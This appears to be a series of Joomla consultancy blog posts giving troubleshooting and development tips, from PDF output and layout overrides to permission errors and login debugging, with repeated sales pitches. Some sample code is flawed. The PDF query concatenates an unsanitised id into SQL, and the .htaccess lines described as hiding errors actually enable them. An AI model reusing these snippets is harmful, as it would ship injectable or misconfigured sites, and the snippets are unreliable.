
Figure 2: Adobe Acrobat error message (Note: In case you’re wondering, we got a snapshot of only the selected popup using ALT + PrintScreen – try it!)

When we saw that the page was also displaying the template, we said to ourselves: “What were we thinking?” Since we’re trying to display the file from within Joomla, then Joomla will, by default, use its template engine to generate the page (which will break the content of the PDF file). Since we wanted the PDF generation process to be part of our Joomla component (we didn’t want to create an independent file called download.php that will be used to display the PDF), we had to get rid of all the content generated by Joomla and only display our content. Here’s when the die() function came to the rescue:

function showPDF($id){
    $query = "SELECT pdf_content FROM #__pdf_files WHERE id=" . $id;
    $db->setQuery($query);
    $pdfContent = $db->loadResult();
    header('Content-type: application/pdf');
    header("Cache-Control: no-cache");
    header("Pragma: no-cache");
    header("Content-Disposition: inline;filename='[name of the PDF file]'");
    header("Content-length: ".strlen($pdfContent));
    die($pdfContent);
}

Instead of echoing the content, we issued a die function which will display the content of the PDF but will stop at that! die() is a PHP function that will instruct the PHP engine to stop processing any further instructions on the page.

As you can see, displaying the content of a PDF file from a database on the fly is not that complicated after all! All we needed to do was to follow the same standard process and use die() instead of echo().

If you need help integrating PDF functionality on your website, then feel free to contact us. We’re always ready to help and our prices are very affordable!

Website Stops Working After Enabling a Joomla System Plugin

Nearly every day we get the following call from one of our client:

“Hi – my Joomla website stopped working all of a sudden – I’m not even able to login to the backend! This is an emergency, can you help?”

“Of course we can help!”, we answer, and even though we know the likely cause of this problem, we ask the client if he did anything that may have caused this problem.

“Nothing that I can remember – except that I enabled (or installed) a Joomla plugin.”

“And is that a system plugin?”, we ask.

“I don’t know what a system plugin is – but maybe!”

In case you’re wondering, here’s what happened:

  • The client installed a system plugin or an extension package that contained a system plugin.
  • The installation script automatically enabled the system plugin or the client manually enabled it.

  • The system plugin was…

    • incompatible with the Joomla version OR
    • incompatible with the PHP version OR
    • has an error in the code.
  • Since the system plugin runs on all the pages (including the admin pages) by default – and since there’s “something wrong” about it – then the whole website will become dysfunctional (either it will display a blank page or there’ll be an error on every page of the website).

Now, you might wonder, how can someone know if enabling a plugin will break his website? The answer to this question is simple: There is no non-technical and straightforward way to tell whether enabling a plugin will break a Joomla website or not – the only way to tell is to either enable it and see what will happen, or try enabling it on a test website, and if everything works fine, then install the plugin and enable it on the production website.

But what if the plugin was already enabled and the whole website went down? What can be done to restore the website to its normal functionality? Well, at this point, since even the admin section no longer works, the Joomla administrator can either call some Joomla experts (such as us!) to fix the website, or disable the plugin from phpMyAdmin in the jos_extensions table (jos_ should be replace with the database prefix in the configuration file), or physically delete the plugin from the filesystem. Please note that the last 2 actions may cause even bigger (and potentially irreversible) problems if done incorrectly – so the best option is to always call some Joomla experts if the administrator is not a technical person.

If your Joomla website stopped working after you have enabled a plugin and if you’re hesitant (and rightfully so) to take the necessary actions yourself to address the problem, then we suggest you contact us! We can solve the problem in no time and we don’t charge much – we’re also very friendly and we’re really nice people to work with!

Overriding the Layout for a Joomla View from PHP

A few members of our team at itoctopus are currently working on a highly dynamic eLearning Joomla website that has many components, and each of these component has several views. One of these components was unique in the sense that some of its views had a different layout when the item to be displayed had some specific attributes (all the attributes came from the database). For example, if the category that that item belonged to was “animal”, then the displayed page would have a different layout than that of an item that belonged to a category called “insect”.

In short, here’s what we wanted to accomplish:

  • The client loads the view to display an item in a custom-made component.
  • If the item in question belongs to category XYZ (where XYZ can be the name of any category), then have the view must display the layout for category XYZ.

Doing the above was pretty simple, all we needed to do was to create a file called default_animal.php (we’ll explain, later in this post, the reason why there is default_ in the filename) for example, and place it in the /templates/html/com_componentname/view_name/ directory at the same level of the default.php file and replace the following line (in the view.html.php file):

parent::display($tpl);

With this code:

//we are assuming that $categoryName exists
if (!empty($categoryName)){
	parent::display($categoryName);
}
else{
	parent::display($tpl);
}

$categoryName in our code above is the name of the category, for example fish. Note that if the file default_[categoryName] does not exist, then the above code will not work, and you will see the following error when you load the view:

500 – Layout default_[categoryName] not found

So, there you have it – now you know how to load a layout dynamically from a view.

But why do we need the default_ prefix in our filename?

Is it because the function loadTemplate which is called by function display and which is located in the file view.php (which, in its turn, is located in the /libraries/joomla/application/component/ directory) has the following code:

if ($this->_template == false)
{
	$filetofind = $this->_createFileName('', array('name' => 'default' . (isset($tpl) ? '_' . $tpl : $tpl)));
	$this->_template = JPath::find($this->_path['template'], $filetofind);
}

As you can see from the above, the function explicitly adds ‘default’ to the name of the layout (in case the name of the layout is NULL, then the function will simply try to load default.php).

Now if you need help building your views on your custom Joomla components, or you need help on anything Joomla, then you’re at the right place. Just contact us and we’re confident that you’ll be impressed with our speed, efficiency, and professionalism – not to mention our very affordable prices!

Caution: jUpgrade Does Not Work as It Should!

We’re doing many migrations from Joomla 1.5 to Joomla 2.5 after people discover (the hard way) that these migrations are not that easy at all! Most of the companies/individuals that we migrate their Joomla websites for have already tried to do the migration themselves by following the (incomplete and broken) guide on Joomla’s official website. The main step in that guide (responsible for downloading, extracting, and installing Joomla 2.5 and migrating some of the content), instructs the Joomla administrator to install jUpgrade to do that. Now while jUpgrade often works properly when it comes to installing Joomla 2.5 (which is the easiest and fastest step in the migration), it is not reliable at all when it comes to migrating the content. Here’s why:

  • The code of migrating the content is located on another server: Apparently, those who created this extension don’t want to give it out their source code (that’s their right and we respect that) – but the thing is, having the code to migrate the content on another server other than the one hosting the Joomla website means 2 things:

    • The company hosting the migration code will have a copy of your database – this is a major security issue especially if there is some confidential data on your Joomla website.
    • The migration can take an awfully long time especially on medium to large websites.

  • jUpgrade hangs 9 out of 10 times: This is expected, because jUpgrade sends the old content (the content to be migrated) to another server which processes that content, and then sends back a copy of the content modified to work on Joomla 2.5 to the client. Imagine what will happen if there’s a lot of content or if there are connection issues during the migration process. Yes – you’ve guessed it – the migration process will hang!

  • jUpgrade does not take into consideration interdependencies between components: One of the main drawbacks of jUpgrade is that, in most cases, it doesn’t take interdependecies between different components into consideration. While jUpgrade is, in some cases, able to identify and correctly handle the interdpendecies between menus, menu items, articles, and categories, it is not able to do that for 3rd party extensions. For example, if you have a commenting extension that links a comment to an article based on the article id, the right link between the comment(s) and the article will be lost because the id of the article changes during the jUpgrade content migration.

  • jUpgrade confuses the administrator with its weird backup: Just before the migration process takes place, jUpgrade backs up all the Joomla tables in the same database – which is a good step – except that jUpgrade does it in a very weird way that confuses even the most experienced Joomla administrator out there. Anyone who did tried to do the migration will know what we mean.

At itoctopus, we don’t use jUpgrade because we think it’s very unreliable – and until Joomla developers come up with a decent, non-intrusive, and secure way to migrate Joomla websites from 1.5 to 2.5, we suggest you either do the migration manually or call on some Joomla experts to do that for you! By the way, we are Joomla experts, so how about you contact us to do the migration for you? We’ve done this many times so far and we’ll be happy to do it for you for a very reasonable price!

NDAs: What We Think of Them and When We Sign Them

We have worked on so many projects (especially Joomla projects) for the past several years – these projects ranged in size from very small projects to large, governmental projects. From time to time, we have a project where the client asks us to sign an NDA (Non-disclosure Agreement) before starting the actual work. In many cases we refuse, here’s why:

  • If we sign an NDA for each and every project we take, we will reach a point where we can’t do anymore work: The NDA consists of clauses that are more or less like the following:
    • The code that you did for us cannot be used for anyone else: The thing is, in our industry (especially when developing on Joomla’s platform), everyone reuses his or other people’s code. We’d be lying if we say that each and every line of code that we create is original because this is simply not the case. In fact, a considerable chunk of the code that we do on any project consists of some code that we did previously for another client or that someone else did and shared with the public (of course, we do review all the code that was not created by us). It just doesn’t make sense to re-invent the wheel, or force us to re-invent the wheel.

    • You cannot re-use any information you learn from us: But how about the information that the client learns from us? We had a 2 hour meeting with a client here in Montreal a couple of weeks ago and we literally overwhelmed that client with the wealth of information that we have. We didn’t tell the client that he cannot use this information anywhere, in fact, we encouraged him to use (and re-use) that information and to even distribute it. We were amazed when that very same client asked us to sign 3 documents (including an NDA) that will tame our freedom (something that we appreciate a lot here at itoctopus) in order to start the work. Also, who’s to say that the information that we learn from the client’s project is not something that we already know? (Which is usually the case in 99% of our projects.)

    • All the information that you gain when working on our project is top secret: We acknowledge that some information that the client gives us is confidential (such as credentials and non-public database content) and we abide to that, but this doesn’t mean that all the information is top secret.

    • We will drag you to a court of our choice if we even think that you violated the terms in our NDA: This is by far the most disturbing part in an NDA and a very bad way to start a longterm business relationship. It’s like saying to a new friend the following: “If I even think that you have ever lied to me at any point in time, then I’ll drag you to court”. This is probably the main reason whey we are very reluctant to sign an NDA on the spot.

  • The NDA has so many details and ambiguous clauses that only a lawyer will be able to decipher: Any programmer worth his salt has probably seen so many NDAs in his lifetime and he’ll certainly agree with us that an NDA is a multiple page document with fine print everywhere. Sometimes even a word in the right place can make the NDA document 2 times stronger. While there are many standard NDAs out there, there are many companies that have their own NDAs, and we just don’t have the time nor the resources to take an NDA to a lawyer everytime a new client sends us one.

  • The NDA is usually governed by a country other than our home country: Canada is our home country, and the majority of our clients are from the US. NDAs in the US are drafted differently than those here in Canada (Quebec in particular) – this is because many US states have loose regulations over NDAs – something that makes the latter even more restrictive.

  • Some NDAs have very threatening language: Nobody likes to be threatened, including ourselves. We have seen NDAs that included a very harsh penalty (which is usually paying the client a substantial amount of money and/or some jailtime) in case the NDA is thought to be breached. We consider such NDAs to be very threatening and we’ll dismiss the project on the spot if the client asked us to sign one containing such language.

  • An NDA always assumes bad faith about the other party: We have yet to see something like “We think that your work will complement our vision – and that’s why your work makes all the difference for us” in an NDA. What we usually see is something like “We think that you might steal our information, and if we even suspect that then we’ll take immediate (and harsh) action”.

  • An NDA is drafted with the sole purpose to protect the client at the expense of the developer/development company: If you can show us an NDA that has only a sentence – one sentence – that caters for the interest of the developer/development company then it’ll be one NDA we have never seen in the lifetime of our company.

  • We’re trusting you from the get-go – why not do the same?: We have never ever made any of our clients sign on any document (except for a Joomla maintenance contract – but even at that there are no penalties and it’s easily cancellable) – and we expect that this will remain the case for the foreseeable future. We don’t even charge repeat clients up-front (which is something that almost all of our competitors do). We have full trust in our client even before starting the project – how come some of our clients just don’t trust us?

  • We are ethical developers and our clients know it: We have immaculate ethics when it comes to our work. We treat our clients’ websites as if they were our own and we ensure that our code works properly on our clients’ websites before invoicing them. We treat all of our clients’ data as confidential and we never disclose that information to any other party without the explicit and written permission from our clients. We stay up at night until we fix a problem on a client’s website, and we have no problem waking up in the middle of the night in case of a Joomla emergency. Our clients know this, and that’s why we have nearly a 0% customer churn rate.

So, the question is, do we or do we not sign an NDA at itoctopus?

If you’re a first time client, then the answer is most likely to be “No” – we won’t sign an NDA with you, because we believe that if you want to work with us, then you should trust us at least the same way we trust you. But there are some situations where we are willing to sign an NDA, such as:

  • The client is US or Canada (excluding the city of Montreal) based and is at least a two months old client who has generated at least $15,000 in revenue for us. Also, the reason why the client wants us to sign an NDA is strictly because of company policy. In this situation, we are comfortable signing an NDA with the client.
  • The client is based in Montreal and is at least a one month old client who has generated at least $15,000 in revenue for us. The reason why the client wants us to sign the NDA must be one of the following:

    • Emerging company policy that applies across the board.
    • R&D credit (companies in Canada can claim contractors’ efforts – but only at about 47%)

    • The company is a sub-contractor for another company and that other company requires that everyone signs an NDA. In this situation we’ll only sign an NDA with the subcontractor (our client), but not with the other company.

  • The client is a governmental agency in the US or Canada.

  • Exceptional cases.

So now you have it – this post defines our policy when it comes to NDAs and reflects our true opinion about these documents. If you have any questions about this post, or if you have a large Joomla project that you need us to work on (but you need us to sign an NDA first), then feel free to contact us. We are ready to explain our point of view and find a common ground where each party is happy – after all, we are the friendliest Joomla developers on this planet!

How to Automatically Select a Default Value in an RSForm Dropdown Form Field

Many of our clients use RSForm to dynamically generate forms on their Joomla websites. A client who was developing a form (using RSForm) very early in the morning today called us and asked us that he has a presentation this morning and he urgently needs to make a value in a dropdown box in his custom RS Form to be selected by default. In his situation, he needed the state field to be automatically set to CA (California).

We explained to him that all he had to do was to add [c] next to CA in his dropdown field value. For example, here’s what his state form field should be in RSForm’s interface:

Selected item in a dropdown in RSForm

Figure 1: Selected item in a dropdown in RSForm

Our client was amazed when we explained how it’s done – he thought it was a more complicated process. “Is this magic?” – he said. We told him that it was no magic – and that the file rsform.php located under the /administrator/components/com_rsform/helpers/ directory was handling this. The aforementioned file had this code:

if ((strpos($item, '[c]') !== false && empty($value)) || (isset($value[$data['NAME']]) && in_array($val, $value[$data['NAME']])))
	$additional .= 'selected="selected"';

The above code simply checks if [c] exists in the value of the list item, and if it does, then it’ll add the word “selected” by default to the <option> tag. Note that the second part in the condition above (isset…) is responsible for automatically selecting the item that the user has already selected when he submitted the form. This is useful when the user submits an erroneous form and so instead of having to re-fill all the information he already filled in – RSForm will automatically fill them based on what he already filled previously.

Note that there is another interesting trick in RSForm, which is adding [d] to the value of the list item. When you add [d] to a list item then you automatically disable it (e.g. you won’t be able to select it anymore). Try it!

PS: We’re amazed why the people who created RSForm did not make the process of automatically selecting an item in the dropdown box less technical. Although it’s very easy, we find it a bit technical especially for those who have very basic Joomla and HTML knowledge.

If you need help with your RSForm component, then feel free to contact us! We’re always there and our prices are always affordable. We also know Joomla’s ins and outs and there’s nothing that we just can’t do on this CMS! Try us!

When to Use SVN (or Git) in Joomla Development

We just started a large Joomla project with a local company (the company is located here in Montreal). The project consisted of customizing Joomla to fit the needs of a large NGO (we needed to create many extensions). In the first meeting that was held last week, we discussed with the company executives the project requirements – we understood the business of the organization (understanding the underlying business is very important for collecting the right project requirements) and we worked with the project manager to estimate the tasks. We then met with the IT manager, who made us acquainted with the technical environment that we needed to work in. He told us that they use VPN to access their environment, and that they use SVN for committing changes. We said that using VPN is a given for such a project, but that we can’t use SVN from the get-go when developing the website.

“You can’t use SVN? Why not?” The manager responded.

We said it’s because working on a Joomla website is not only about creating and uploading files, and we gave him the following example:

  • We are using SVN in the development of the Joomla website.
  • We create an extension (for example a component), we zip it, and then we install it on the Joomla website using the backend extension installer.

  • The Joomla installer will unzip the extension to a temporary folder, and then will move it to the right folder under the Joomla website. It’ll also create an entry in the database for that extension.

  • Since the files belonging to that extension were not committed using SVN, then they are not part of the SVN repository, which means that technically, they do not exist when it comes to the versioning system (be that SVN, Git, or CVS).

We explained that this limitation is very common to Joomla development and that all the methods devised to overcome it were not reliable (including using hooks and 3rd party Joomla SVN plugins).

So the IT manager asked us a second question: “OK – so what do you do if two of your programmers are working on the same file at the same time?” We answered that at the beginning of the project, this will not happen, because each person will be working on a specific extension and the project doesn’t consist of touching the Joomla core (so there’s no way two of us would be working on the same file) – and even if it does, we will be very careful not to overwrite each other’s changes. This answer lead to another question: “Does that mean that once the project is no longer in its beginning, you will be able to use SVN?”

We answered that once all the extensions are created and installed, we can then create the repository and we can start using SVN. So the time to use versioning when developing a Joomla website is when the creation of all the extensions is done – and all what’s remaining is the shaping, enhancement, and bug fixing of these extensions.

The IT manager was satisfied with our answer and agreed to give us the go-ahead to work in this hybrid Non-SVN/SVN development environment.

If you want to develop a large Joomla website and you want to use a versioning system then consider the above – using SVN (or any other versioning tool) is not possible until all the extensions are created (they don’t have to be done, they just have to be created). If you need further explanation/clarification on the subject or if you just need help on your project, then why not get in touch? We know our Joomla and we know how to answer any question on Joomla, we’re fast, we’re reliable, and our fees are quite affordable! What are you waiting for?

PHP Code Is Showing on Joomla Website

One of our clients called us today and said: “Help! My Joomla website is not working! It is displaying code instead of my content!”. We checked his website and true enough, it was indeed displaying PHP code instead of displaying actual content.

We’ve seen this problem before and we know that there are several reasons that can make it happen:

  • The website is moved to another host, but that other host does not have PHP installed.
  • PHP is installed on the server hosting the website, but Apache is not instructed to load the PHP module through the LoadModule directive in its httpd.conf file.

  • PHP is installed and the PHP module is successfully loaded, but the PHP handler (that tells Apache to associate .php files with the PHP application) does not exist. In other words, the following line is missing from the httpd.conf file:

    AddType application/x-httpd-php .php

  • The .htaccess file has explicit instructions to override default server settings and not to execute php files but to serve them as text instead. This happens when the following 2 lines are present in the .htaccess file:

    php_flag engine off
    AddType text/plain php

    The first line instructs the server not to process PHP files, and the second line tells the server to treat PHP files as plain text and display their content (as is) in the browser.

  • Malicious code is inserted into the index.php file. That malicious code simply spits (echoes) the PHP code in that file. This kind of hack is very deceptive, because it looks like as if the PHP parser is not working, while it really is, and usually (in this situation) the last thing that the developer will consider looking at is the index.php file.

For this client, the issue was that he moved his website from a Linux server to a Windows server that didn’t have PHP installed. It took us a few minutes to discover the issue.

If your PHP code is being displayed (instead of being processed) in your Joomla website, then we suggest you call your hosting company and ask them to check the issue for you. If they still can’t help you, then just contact us – we’d be happy to fix the problem for a very reasonable fee!

An Intelligent Approach to URL Canonicalization in Joomla

We are currently working on a very large project (yes, we’re even working on the weekends) – this project consists of building a Joomla website from scratch for a government agency (many government agencies use Joomla – see why Joomla is a good choice for government websites). Naturally, the project has an SEO aspect – and for such a huge project, you can imagine the amount of SEO work that needs to be done (both at the development level and at the content level). Our job was to only handle SEO at the development level, so we ensured that:

  • All URLs are SEF (Search Engine Friendly) URLs. Of course, that it’s an easy thing to do if you don’t have any custom extensions – but once you do (have custom extensions), you need to develop some code to make the URLs of your custom extensions search engine friendly.
  • All the pages – even the pages generated by our custom extensions – have the following header tags:

    • Page Title
    • Meta description
    • Meta keywords

    We generate the above tags automatically and we also allow the administrator to override that by entering these tags manually.

  • All the URLs are uniform and consistent. For example, all the URLs have www, and we use absolute links (instead of relative links) across the board.

A problem that we ran into was that, in many cases, we had the exact same content (but with very slight difference, such as a different breadcrumb) under multiple URLs. For example, the following two links:

http://www.ourclientjoomlawebsite.com/clients/client-1.html

and

http://www.ourclientjoomlawebsite.com/division-1/clients/client-1.html

had the exact same content with the exception of a different breadcrumb. We had three options to solve the problem:

  1. Add a “no index” attribute to the robots meta tag in the duplicate pages: This meant that we needed to know which pages to index and which not to index. That was a lot of work!
  2. Add a “Disallow” entry for all the duplicate pages in the robots.txt file: Again, the problem with this approach was that we needed to have a list of pages that we should not index.

Not only the above two methods involved a lot of work, but they also meant that the client had to do some SEO work on his part, something that neither the client nor us wanted to happen. So we thought of a third option which is a much more intelligent approach to URL Canonicalization in Joomla (and all CMSs in general):

  1. Dynamically generate canonical URLs: This is how this will work:
    • When the website is first launched, there’ll be no URL canonicalization whatsoever.
    • Everytime a URL is visited by a human (and not a robot), a certain weight to that URL is added. The weight percentage of that URL is the weight of that URL divided by the total weight of all URLs that have the same content.

    • Once a URL’s weight is above 10 (that number could be changed) and the weight percentage of that URL is above 70%, then that URL will be the canonical URL. Once that happens, we will stop doing anymore weighting for all URLs having that same content as we already found their canonical URL.

    The last method is an intelligent for URL canonicalization, because it’ll be all automatic, and it’ll be based on how the users access your website, which’ll be the best method to weigh URLs especially if your navigation is logical and correct.

If you need to implement intelligent URL canonicalization (no, we did not pattern the concept – but it’s us who invented it!), then why not ask us to help you. We have done it before (for the government!), we have the best Joomla experts on the planet, we don’t charge much, and we really love to work on challenging projects!

Undefined Index Notice in Joomla Websites: How to Remove

Before we begin, we must stress that the “Undefined Index” message is a notice, and not an error – which means that it will not, by itself, stop your website from functioning, but its presence may be the indication of a serious problem, for example: menu not appearing, form not working, site not displaying information as it should, etc…

But what is a notice?

A notice, in PHP terms (PHP is the scripting language that powers Joomla), is more or less a complaint. For example, if you’re using a deprecated function such as ereg_replace (by the way, we have had quite a few sites with the ereg_replace() is deprecated notice that we needed to fix) then PHP will complain with a notice. A notice may also be displayed if you’re trying to use questionable casting that PHP thinks will not return the result that you want (for example, if you try to forcefully cast an array into a string). As for the “Undefined Index” notice, you may get one if you have something like the below code in one of your extensions:

if ($result == 5)
	$equalsToFive = 1;

PHP will complain (and throw the famous “Undefined Index” notice) because you will most likely use the $equalsToFive variable somewhere in your code, but that variable only exists and can only have a value if $result equals to 5.

A clean way to write the above code would be something like the following:

$equalsToFive = 0;
if ($result == 5)
	$equalsToFive = 1;

In the above case, $equalsToFive always exists, regardless of whether $result is equal to 5 or not.

Another scenario where you may get the “Undefined Index” notice is when you try to get the value of a request variable (a variable from $_GET or $_POST), but that variable doesn’t exist. Take a look at the below code:

$userId = $_POST['userId'];

But what if $_POST[‘userId’] does not exist (because userId is not a field in the form that submits to the page that has the above code)? What will the value of $userId be? So, you need to check first if userId is being submitted. Here’s how:

$userId = "";
if (isset($_POST['userId']))
	$userId = (int)$_POST['userId']; //we are assuming that userId should always be an integer

So how can someone hide the “Undefined Index” notice in Joomla?

Luckily, there are 3 methods to do this:

  • Method #1: Change the Error Reporting in the Global Configuration to “None”.

    All you need to do is to login to the backend of your Joomla website, and go to Site->Global Configuration, and then click on Server, and change the value next to Error Reporting to “None”. Choosing “None” will ensure that notices, along with errors and warnings, will not be displayed on your website. This is the recommended setting for the production version of any Joomla website – since any other setting may reveal some technical information about your website that will open the door for hackers to abuse it.

    Note that you can also do the above in the configuration.php file directly – by setting the value of $error_reporting to “None” (or to “-1” for older Joomla versions – see this post on Error Reporting in Joomla).

  • Method #2: Change PHP’s error reporting in the .htaccess file to hide all errors.

    You can do that by adding the following code to your .htaccess file:

    php_flag display_startup_errors on
    php_flag display_errors on
    php_flag html_errors on

    The above code will ensure that no error whatsoever will be displayed on your website. Note that if you have an Error Reporting setting in your configuration settings other than “Default”, then this setting will override the error reporting defined in your .htaccess. For example, if your Error Reporting is set to “Maximum”, then the above code in your .htaccess file has no effect.

  • Method #3: Fix the problem.

    Yes – we know that fixing code is not an easy task – especially if you’re not a technical person, but as we stated earlier in this post, a notice may be the indication of something bigger that may affect the stability of your whole website. Better hire some Joomla experts (such as us!) to fix the problem for you if you think it’s a bit over your head.

If you’re seeing an annoying notice on your Joomla website, then try to do one of the methods above to remove it – we suggest you use the first method because it’s easy and can be done in less than a minute. However, keep in mind that you have not fixed the issue, you have only hidden the issue. In other words, the issue is still there so it’s recommended that you fix it (keep in mind, that the latest version of Joomla doesn’t display a single notice in its default installation – even when the Error Reporting is set to “Maximum” – which means that any notice you may see on your website is the work of a 3rd party/non-official extension). If you do want to fix the problem rather than just hiding it, then we can help! Just contact us and we’ll analyze the issue and fix it in not time and for a very reasonable fee! Oh, we’re fun and flexible to work with, and we’re also probably the friendliest programmers on this planet!

Server Caching and Joomla

This morning we worked on a bizarre project that was a very welcome challenge to our Joomla skills! The project was not hard: it consisted of modifying a custom made extension on a Norwegian healthcare website, and it was supposed to take us a maximum of 30 minutes, but instead, it took us the whole morning! The cause of this was server caching!

Before we tell you what happened, let us explain briefly what server caching is.

Server caching is an application installed on the server that will load a cached version of your files instead of loading the real version. The server will refresh its cache periodically (typically every 5 minutes) which means that a change that you make on any of your files does not appear on the website until after a maximum of 5 minutes. The upside of this is that it will lower the load on the server, but on the flip side, if you make changes to your files, you won’t see these changes immediately, and you’ll most likely think that you are working on the wrong files.

In this day and age, this kind of server caching is only used by companies that overpopulate their servers. Server caching is a sign of technical weakness and a sign of a hosting company that tries to make more pennies on the dollar rather than giving a better, faster, and more reliable service.

In any case, let’s go back to our experience with the healthcare website this morning – we were trying to work on one file, we knew it was the right file, but our changes were just not appearing, so we were reverting our changes and trying something else (like clearing the cache, checking if the cache is cleared, double and triple checking that we’re working on the right file, etc…). At one point we thought that our customer gave us the wrong FTP credentials, but a simple test (we created a file called test.php that echoed a test string and then uploaded it to the root directory of the website to see if it’s working, and it was) proved us wrong – our customer did give us the right credentials. Eventually, after a lot of work, we discovered that the server was caching files for 5 minutes (e.g. the cache timed out every 5 minutes and it was refreshed from the current filesystem). Even when we discovered that, the work still took us much more than expected because we had to wait 5 minutes everytime we made a change in order to see it. Not very practical – especially when you’re making changes every 2 minutes!

If your changes do not appear immediately on your Joomla website and you’re sure that you have cleared your Joomla cache, then it might be that your server’s cache – check with your hosting company and ask them to move you to another server that does not cache files, especially if your Joomla website is mission critical.

Now if you’re having problems with your Joomla website – even if they are very weird – then we’re here to help, and we know everything about Joomla! So don’t hesitate, contact us, and you’ll see how fast, efficient, friendly, and professional we are. Oh, and our rates are really, really affordable!

“JFolder::create: Could Not Create Directory” Error in Joomla

Note: We know that this Joomla error has been covered in other places before – but in many cases, the solutions presented elsewhere do not solve the problem and none of the other places explains why this problem happens in the first place. We will try our best to present an actual solution that will work for anyone and we will also explain why this problem happens!

First we would like to apologize. We have seen and fixed this problem so many times now (for years) but we have never written about it. So here’s a post explaining when the “JFolder::create: Could not create directory” error happens, why it happens, and what you can do to solve the problem.

When does this problem happen?

The problem happens when you try to install an extension or a template from the backend on your Joomla website. Instead of seeing a Success message, you will see the JFolder::create: Could not create directory error message. The aforementioned error message is usually accompanied by the Warning: Failed to move file! error message.

Essentially, when you see this error then most likely you are not able to install any extensions or templates on your website.

Why does this problem happen?

This problem happens because of one of the following reasons:

  • The tmp directory does not exist or is not correctly referenced in the configuration.php file.
  • The tmp directory exists, but Joomla doesn’t have the permissions to write to it.

  • Joomla doesn’t have the permissions to write to one of the following directories: /administrator/components, /administrator/modules, /administrator/templates, /components, /modules, /plugins, /templates.

The latter case is very common nowadays and usually happens when there is something wrong with Joomla’s hosting environment – for example, the Apache user is in a separate group than that of the cPanel user (the user responsible for uploading files through cPanel and FTP). We have seen this on both cPanel and Plesk environments (although we have to say that this issue is far more common on Plesk).

What can you do to fix this problem?

Besides creating the tmp directory if it doesn’t exist and give Joomla the proper permissions to write to it, a quick and dirty fix will be to chmod the following directories to 777 through your FTP client:

  • /administrator
  • /administrator/components
  • /administrator/modules
  • /administrator/templates
  • /components
  • /logs (not necessary to solve this problem but if Joomla has write permissions across the board then doing this will ensure that you don’t have a problem elsewhere on your website)
  • /modules
  • /plugins
  • /templates
  • /tmp

As we said – the above is a quick and dirty fix – but it will render your website completely insecure. So, you must leave the above as a last resort if you’re stranded on time and only as a temporary fix.

So, what’s a better solution?

A better solution would be to call your hosting company and tell them that you’re having a problem with your Apache user not being able to write on the Joomla directories. What they will do probably (if they decide to take any action) is that they’ll chown (change ownership) of all the Joomla files and directories to the Apache user, this will solve your problem immediately. Some lazy hosts may just chmod everything to 777 – make sure that they don’t do that!

OK, so what’s the best solution?

The best solution to this problem requires some work on your side – but it’s the cleanest solution and requires that you only have FTP access to your website. You see, the reason why the cPanel (or Plesk) user owned the Joomla files and directories in the first place is because that user was the one uploading the folders/files – in other words – that user was responsbile for creating those folders/files on the server’s filesystem. So, what can we do to make Apache create (own) those files instead? Easy! All we need to do is the following:

  • Zip the Joomla website (all of it – e.g. all files and directories) using cPanel’s File Manager – call the resulting zip file joomlawebsitebackup.zip. The resulting zip file must be placed under the root directory of the website.
  • Append 1_ to all the top level folders and files in Joomla. This means renaming the folder administrator to 1_administrator, and index.php to 1_index.php

  • Create an unzip.php file that contains the following code:

    <?php 
    	ini_set("memory_limit", "4096M");
    	set_time_limit (0);
    	$objZip = new ZipArchive;
    	$isZipOpen = $objZip->open('joomlawebsitebackup.zip');
    	if ($isZipOpen === TRUE) {
    		$objZip->extractTo('/home/[yourcpanelusername]/public_html/');
    		$objZip->close();
    		echo "Finished unzipping";
    	} else {
    		echo "Failed unzipping";
    	}
    ?>
  • Run the unzip.php by going to yourjoomlawebsite.com/unzip.php on your browser. The unzipping might take several minutes to several hours, depending on the size of your website. Please be patient. Once the process is done, you should see a message telling you that the PHP script has finished unzipping the file.

  • Now login to your Joomla's backend and you'll notice that you are now able to install any extension, while the permissions on your directories are still 755. This is because Apache is now the owner of all the Joomla files and folders, because it (Apache) was the one creating them with the unzip script.

  • Test your website thoroughly - once you are sure that everything works as it should, then delete all the folders and files that start with 1_. Once you do that, do another test on your website to make sure that everything's OK.

Can this error happen on Joomla 2.5 as well?

Yes - in fact, the JFolder::create error exists on nearly all versions of Joomla. You can run but you can't hide!

Do you still have this problem? Read on!

We have presented a solid solution to this problem - if it doesn't work for you, then please retrace your steps and double check that you're following the process with no modification whatsoever. If you're still experiencing problems doing the above (even after retracing your steps) or if you need help, then contact us! We're fast, we're professional, we're friendly, we're always there, and our rates are affordable!

“500 – An Error Has Occurred” Message When Trying to Login to Joomla’s Backend

Earlie today, we worked on moving a Joomla website for one of our clients from one server (Network Solutions) to another. The move went smoothly and according to plan and the website functioned after the necessary modifications on the configuration.php file. However, when we tried to login to Joomla’s backend. We were greeted with the following error:

500 – An Error Has Occurred.

Needless to say, the error was not helpful at all. We knew there was an error, but we didn’t know what it was. So we started our quest to find the root of the problem in order to fix it.

We first searched for the string “An error has occurred.” in a default Joomla installation – we knew that it was a constant in a language file, and it was! This error was declared in the language/en-GB/en-GB.ini file as the JERROR_AN_ERROR_HAS_OCCURRED constant.

Our next task was to search for this constant in the Joomla installation (e.g. the files that include this constant), and we discovered that it was included on line 28 in the error.php file located in the administrator/bluestork/system (please note that bluestork can be hathor or system, depending on the template you are using for your backend) directory. Here’s the line containing the constant:

<?php echo $this->error->getCode() ?> - <?php echo JText::_('JERROR_AN_ERROR_HAS_OCCURRED') ?>

So we added a print_r($this->error); just before the echo command in the line above, so it became something like this:

<?php print_r($this->error); echo $this->error->getCode() ?> - <?php echo JText::_('JERROR_AN_ERROR_HAS_OCCURRED') ?>

Printing the error revealed to us that the error was being generated by the line 153 in the application.php located under the administrator/includes/ directory. Here’s the line:

$contents = JComponentHelper::renderComponent($component);

Obviously, the Joomla application had a problem rendering the component, so we checked the renderComponent function located in the helper.php file (which can be found in the libraries/joomla/application/component directory) and we noticed that it wasn’t able to execute the login.php file located under administrator/components/com_login directory since the function executeComponent was returning an error. So we debugged the login.php file (yes, we know, this is becoming very tedious – but we want our readers to know each step we did to know the root of the problem), which lead us to discover that the problem is with this function call in the controller.php file located in the same folder:

$result = $app->login($credentials, array('action' => 'core.login.admin'));

Hmmm… The problem was with the login function, which meant that we should check the login function located in the application.php file under libraries/joomla/application, and so we did! And then we discovered what the real problem was, it was with this line:

$this->triggerEvent('onUserLoginFailure', array((array) $response));

The above line was triggering the onUserLoginFailure event plugin, which was defined in plugins/system/log/log.php. That event was trying to log the login attempt in this line:

$log->addEntry($errorlog);

